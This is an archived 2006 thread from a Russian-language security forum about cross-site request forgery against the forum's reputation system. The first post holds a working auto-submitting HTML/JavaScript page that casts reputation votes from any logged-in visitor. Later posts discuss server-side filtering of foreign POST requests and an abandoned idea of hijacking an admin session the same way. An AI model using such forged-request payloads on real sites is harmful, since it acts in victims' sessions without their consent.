ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
23.08.2006, 17:50
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
Добавляю:
Воть скриптик:
<body onload="p.submit()">
<form action="http://forum.antichat.ru/reputation.php" method="post" id="p">
<input type="hidden" name="reputation" value="pos">
<input type=hidden name="score" value="0">
<input type="hidden" name="do" value="addreputation" />
<script>
var myArray;
mas=new Array(4);
mas=new Array("187748","181609","183229","183440"); //Масcив с нашими постами
var myArray;
ct = new Array(6);
ct = new Array("+",")"," ","))","+++","Ы"); //C коментами =)
var a = Math.round(Math.random()*3); //Выбираем случайны топик
var aa = mas[a];
var b = Math.round(Math.random()*5); //Выбираем случайный коммент
var bb = ct[b];
document.write("<input type=hidden size=40 maxlength=250 name=reason value="+bb+">");
document.write("<input type=hidden name=p value="+aa+">");
</script>
По этому скрипту вам, будут, приходить не тупо в один пост с одним коментом, а будет их менять =)
Естественно советую вам сестно зарабатывать инфу -) |
|
|
23.08.2006, 19:36
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772
Репутация:
517
|
|
Сообщение от Videomann
Чё то не пашет! Короче на форуме выложил ссылку типа mysite.ru/script.html
и пробовал перейти по ней и мне выдоло вот это
В чём трабла ?
пост-запросы, идущие с домена твоего сайта фильтруются сайтом-целью (серв правильно настроили).
чтоб они не фильтровались твой домен нужно в вайт-лист добавить 
|
|
|
|
24.08.2006, 14:37
|
|
Новичок
Регистрация: 29.06.2006
Сообщений: 12
Провел на форуме:
8910
Репутация:
0
|
|
А как добавить в вайт лист тогда ? Это надо делать через сервер или форум ?? Плз answer  |
|
|
|
24.08.2006, 14:54
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
Сообщение от Videomann
А как добавить в вайт лист тогда ? Это надо делать через сервер или форум ?? Плз answer Какаой хостинг?
|
|
|
|
25.08.2006, 14:47
|
|
Постоянный
Регистрация: 17.07.2005
Сообщений: 475
Провел на форуме:
1665310
Репутация:
488
|
|
ошибка) +1
|
|
|
|
25.08.2006, 16:26
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
А мною законно гдето ~85? честно говоря не ожидал =)
|
|
|
|
30.08.2006, 02:46
|
|
Познающий
Регистрация: 21.08.2006
Сообщений: 70
Провел на форуме:
424011
Репутация:
4
|
|
Прикольно. Особенно добавление подписи
|
|
|
|
30.08.2006, 21:21
|
|
Участник форума
Регистрация: 27.08.2006
Сообщений: 223
Провел на форуме:
2154209
Репутация:
341
|
|
если ктонить написал пост для админки=) выложите плз щаблончик=)
посмотреть\-)
|
|
|
|
31.08.2006, 01:56
|
|
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162
Репутация:
1320
|
|
Только сейчас увидел тему. Но че-то я не понимаю, почему это все работает. Все как-то очень банально. Или это из-за того, что на Ачате идет привязка к ИПу.... ХЗ кароче.
Но булу респект. |
|
|
|
29.10.2006, 15:54
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
3. А теперь о серьезном...
Этот спопсоб можно применить для того, чтобы зделать себя админом...
"Теоретим": Например Админ зашел в Админку и у него сохранилась сессия, значит при следующем входе в админку форум пароль просить не будет, значит можно попробовать... Абсолютно все также! Заходим->cмотрим сорцы->чистим и редактируем->Думаем как послать это админу->Админим =)
Извиняюсь! Когда первый раз смотрел форму, то не заметил, что админскую сессию надо передовать скрипту в пост запросе, т.е. через форму... А мы этого не можем, значит 3 пункт отпадает... =) Хотя это ведь будет работать не тока на Ачате =), темболее, что на Ачате уже не возможно =)
Извиняюсь =))))))
POST requests from foreign hosts are not allowed.
Молодцы +)
Последний раз редактировалось bul.666; 29.10.2006 в 16:00..
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
